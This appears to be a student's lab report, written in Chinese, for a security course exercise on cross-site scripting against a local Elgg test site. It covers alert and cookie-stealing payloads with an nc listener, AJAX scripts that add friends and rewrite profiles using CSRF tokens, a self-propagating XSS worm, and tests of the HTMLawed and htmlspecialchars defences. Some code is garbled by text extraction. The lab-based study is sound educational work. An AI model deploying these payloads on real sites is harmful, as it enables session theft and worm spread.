CS315 Lab11

Name: 王奕童

SID: 11910104


3 Lab Tasks

3.2 Task 1: Posting a Malicious Message to Display an Alert Window


我使用的是boby的账号,密码是seedboby。

将Brief description加入如下js代码:

<script>alert("XSS; This is edited by 11910104.");</script>




可以看到弹窗已被显示。




3.3 Task 2: Posting a Malicious Message to Display Cookies

和Task 1的流程基本一样,插入js代码为:

<script>alert("Cookies by 11910104, "+document.cookie);</script>





3.4 Task 3: Stealing Cookies from the Victim's Machine

打开端口监听:


nc -1 5555 -v

```
[12/11/22]seed@VM:~$ nc -l 5555 -v
Listening on [0.0.0.0] (family 0, port 5555)
```


在brief description中插入js代码为:

<script>alert("Cookies by 11910104, "+document.cookie);document.write(""); </scr:</pre>

XSS Lab Site




从下面两图可以看到,alert中显示得到的cookie和5555端口接收到的cookie内容是一致的。



```
[12/11/22]seed@VM:~$ nc -l 5555 -v
Listening on [0.0.0.0] (family 0, port 5555)
^[aConnection from [127.0.0.1] port 5555 [tcp/*] accepted (family 2, sport 50716)
GET /?c=Elgg%3Dcibv2k7bpukmvavq92b6uvl2g1 HTTP/1.1
Host: 127.0.0.1:5555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefo x/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/boby
Connection: keep-alive
```

3.5 Task 4: Becoming the Victim's Friend

先用网页端加Samy为好友,使用F12查看请求包:



URL


是 http://www.xsslabelgg.com/action/friends/add?friend=47&_elgg_ts=1670778001&_elgg_token=M2vpX8j6LDtTCGo4nZMhvg&_elgg_ts=1670778001&_elgg_token
可以得到Samy的ID是47,ts是1670778001,token是M2vpX8j6LDtTCGo4nZMhvg。

因此js代码即为:


```
<script type="text/javascript">
window.onload = function () {
   var Ajax=null;
      var ts="&_elgg_ts="+elgg.security.token.__elgg_ts; ①
   var token="&_elgg_token="+elgg.security.token.__elgg_token; ②
      //Construct the HTTP request to add Samy as a friend.
   var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+ts+token;
      //Create and send Ajax request to add friend
   Ajax=new XMLHttpRequest();
   Ajax.open("GET", sendurl, true);
   Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
   Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
   Ajax.send();
}

<
```

放入Samy的About me中



我先后使用Samy和Boby访问Samy的页面,可以得到自动添加好友的消息。




接下来回答一下两个问题。


Q1: Explain the purpose of Lines ① and ②, why are they are needed?


A1: 他们的功能是为了鉴权,识别具体是哪一个用户执行添加好友的申请。

Q2: If the Elgg application only provide the Editor mode for the "About Me" field, i.e. you cannot switch to the Text mode, can you still launch a successful attack?

A2: 此时再次执行攻击不能成功,原因是代码变成了文本失去了执行能力。重复上述实验可以说明这个结论。







Add widgets

使用Boby多次刷新Samy的Profile页面,发现已经不能自动添加为好友。

XSS Lab Site

Activity

Bloas

Bookmarks

F

Group:

More >

▼ Friends




```
Samy
About me
<script type="text/javascript">
window.onload = function () {
  var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&
  _elgg_token="+elgg.security.token.__elgg_token;
  //Construct the HTTP request to add Samy as a friend.
  var sendurl="http://www.xsslabelgg.com/action/friends/
add?friend=47"+ts+token;
  //Create and send Ajax request to add friend
  Ajax=new XMLHttpRequest();
  Ajax.open("GET",sendurl,true);
  Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type", "application/x-
www-form-urlencoded");
  Ajax.send();
</script>
```


3.6 Task 5: Modifying the Victim's Profile

进入profile编辑页面,使用F12查看sendurl,为:

http://www.xsslabelgg.com/action/profile/edit



查看该请求体,可以发现guid为47:



查看请求体的body部分,内容为:

 $__elgg_token=VGG2cD-3FAB1ICHge3GbLA8_elgg_ts=1670780719\&name=Samy\&description=%3Cp\%3E123\%3C\%2Fp\%3E\%0D\%0A\&accesslevel\%5Bdescription\%5D=2\&briefdescription=345\&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=%4Description=345&accesslevel\%5Bdescription=345&acces$



因此我考虑的js代码即为:

```
window.onload = function(){
             //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
             //and Security Token __elgg_token
             var userName=elgg.session.user.name;
             var guid="&guid="+elgg.session.user.guid;
             var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
             var token="&__elgg_token="+elgg.security.token.__elgg_token;
             var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
              \textbf{var} \ \ \textbf{content} \ = \ \textbf{token+ts+"\$name="+userName+"\$description=\$accesslevel\%5Bdescription\%5D=2\&briefdescription=\$accesslevel\%5Bbriefdescription\%5D=2\&briefdescription=\$accesslevel\%5Bdescription\%5D=2\&briefdescription=\$accesslevel\%5Bdescription\%5D=2\&briefdescription=\$accesslevel\%5Bdescription\%5D=2\&briefdescription=\$accesslevel\%5Bdescription\%5D=2\&briefdescription=\$accesslevel\%5Bdescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription=\$accesslevel\%5Ddescription
             //Construct the content of your url.
             var samyGuid=47; //FILL IN
             if(elgg.session.user.guid!=samyGuid) ①
                           //Create and send Ajax request to modify profile
                          var Ajax=null;
                         Ajax=new XMLHttpRequest();
                          Ajax.open("POST", sendurl, true);
                          Ajax.setRequestHeader("Host","www.xsslabelgg.com");
                          Ajax.setRequestHeader("Content-Type",
                           "application/x-www-form-urlencoded");
                          Ajax.send(content);
                           }
}
```

访问Samy的主页后, Boby的Profile被修改, 攻击已经生效。





接下来回答一下问题。

Q3: Why do we need Line ①? Remove this line, and repeat your attack. Report and explain your observation.

这一行的功能主要是防止自己被攻击。

去除这一行后,可以发现自己的profile也被修改了。

XSS Lab Site

Activity


Bloas

Bookmarks

Files

Groups

More



‡ 0

▼ Friends

Add widgets

3.7 Task 6: Writing a Self-Propagating XSS Worm

在做这个部分之前,先回答张锋巍老师在lecture中下午18:05布置的一个作业:

Boom和Virus的区别是什么?

回答:

先看二者的定义:

病毒是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。

蠕虫是一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。


他们的区别主要集中于:


- 1. 病毒需要寄生于主机文件上,而蠕虫不需要寄生于主机文件上,只需要网络漏洞
- 2. 病毒的传播需要人为干预如邮件或者硬件驱动,而蠕虫不需要人为的干预
- 3. 病毒的传播速度比较慢,蠕虫的传播速度比较快

Task6的完成需要修改Task5的js代码,我修改为如下代码:


```
<script type="text/javascript" id="worm">
window.onload = function(){
    var userName=elgg.session.user.name;
   var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
   var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    var content = token+ts+"%name="+userName+"&description=&accesslevel%5Bdescription%5D=2&briefdescription="+wormCode+"&accesslevel%5Bbriefdescription
    //Construct the content of your url.
    var samyGuid=47; //FILL IN
   if(elgg.session.user.guid!=samyGuid)
        //Create and send Ajax request to modify profile
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST", sendur1, true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type",
        "application/x-www-form-urlencoded");
        Ajax.send(content);
        //add friend:
        var friend="http://www.xsslabelgg.com/action/friends/add?friend="+samyGuid+ts+token;
        //Create and send Ajax request to add friend
        Ajax=new XMLHttpRequest();
        Ajax.open("GET",friend,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        \label{lem:ajax.setRequestHeader} A {\tt jax.setRequestHeader} ("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send();
        alert("Homo worm is injected! Your username is "+userName);
        }
</script>
```

我将这个部分加入到Samy的About me中,然后使用Boby的账号进行访问,可以看到蠕虫已经成功传播到Boby的账号:







此时我刷新Boby的Profile,可以弹出相同的弹窗信息:




我再用charlie的账号访问Boby, 弹窗信息再次显示:



Charlie访问自己的主页,行为和Boby访问自己的主页是一样的,可以说明蠕虫已经传播成功:






3.8 Task 7: Countermeasures

1 Activate only the HTMLawed countermeasure but not htmlspecialchars; visit any of the victim profiles and describe your observations in your report

登录管理员账号启动HTMLawed:



再次访问Samy主页,可以看到攻击不再生效,且原本攻击的代码显示了出来(但没有script标签)。

Add widgets



Edit profile

Edit avatar

Blogs

Bookmarks

Files

Pages

Wire posts

Samy

About me window.onload = function(){ var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="& __elgg_token="+elgg.security.token.__elgg_token; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var headerTag = ""; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode var content = token+ts+"&name="+userName+"& description="+wormCode+"& accesslevel%5Bdescription%5D=2&briefdescription=& accesslevel%5Bbriefdescription%5D=2&location=& accesslevel%5Blocation%5D=2&interests=& accesslevel%5Binterests%5D=2&skills=& accesslevel%5Bskills%5D=2& contactemail=11910104@mail.sustech.edu.cn& accesslevel%5Bcontactemail%5D=2&phone=114514& accesslevel%5Bphone%5D=2&mobile=& accesslevel%5Bmobile%5D=2&website=www.bilibili.com& accesslevel%5Bwebsite%5D=2&twitter=1919810& accesslevel%5Btwitter%5D=2&guid="+guid; //Construct the content of your url.

var samyGuid=47; //FILL IN if(elgg.session.user.guid!=samyGuid)

Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true);

var Ajax=null;

Ajax.send(content);


//add friend:

//Create and send Ajax request to modify profile

Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");


Ajax.setRequestHeader("Host","www.xsslabelgg.com");

var friend="http://www.xsslabelgg.com/action/friends



2 Turn on both countermeasures; visit any of the victim profiles and describe your observation in your report.

访问的页面与只打开HTMLawed基本相同。






ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="& elgg_token="+elgg.security.token.__elgg_token; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var document.getElementById("worm").innerHTML; var tailTag = encodeURIComponent(headerTag + jsCode + tailTag); var accesslevel%5Bdescription%5D=2&briefdescription=& accesslevel%5Bbriefdescription%5D=2&location=& accesslevel%5Blocation%5D=2&interests=& accesslevel%5Binterests%5D=2&skills=& accesslevel%5Bskills%5D=2& contactemail=11910104@mail.sustech.edu.cn& accesslevel%5Bcontactemail%5D=2&phone=114514& accesslevel%5Bphone%5D=2&mobile=& accesslevel%5Bmobile%5D=2&website=www.bilibili.com& accesslevel%5Bwebsite%5D=2&twitter=1919810& accesslevel%5Btwitter%5D=2&guid="+guid; //Construct the content of your url. var samyGuid=47; //FILL IN if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-wwwform-urlencoded"); Ajax.send(content); //add friend: var

打开4个文件取消注释之后,可以发现在个人资料保存后,代码中的大小于号都被做了特殊的转换:



Observation

本次实验中倒数第二张截图有一个神奇的现象,brief description, telephone和Twitter username的内容被重复了两次。这个暂时不知道是什么原因,推测有可能是服务器后端的实现有一个小bug。



Reference

本次实验报告参考了以下资料:

- [1] [信息系统安全实验] 实验1.Web安全 https://blog.csdn.net/LostUnravel/article/details/120396869
- $[2] Computer Security Attacks XSS \ Lab \ https://github.com/MeghaJakhotia/Computer Security Attacks/blob/master/XSS/XSSLab.pdf$
- [3]【XSS: 防御策略2_两个策略并开启HTMLawed 1.8】 https://www.bilibili.com/video/BV19g4y1v7ry/? share_source=copy_web&vd_source=3171bea9502f8eea0623bbbf6337ff3d
- [4] 20211903 2021-2022-2 《网络攻防实践》实践十报告 https://www.cnblogs.com/wq20211903/p/16287561.html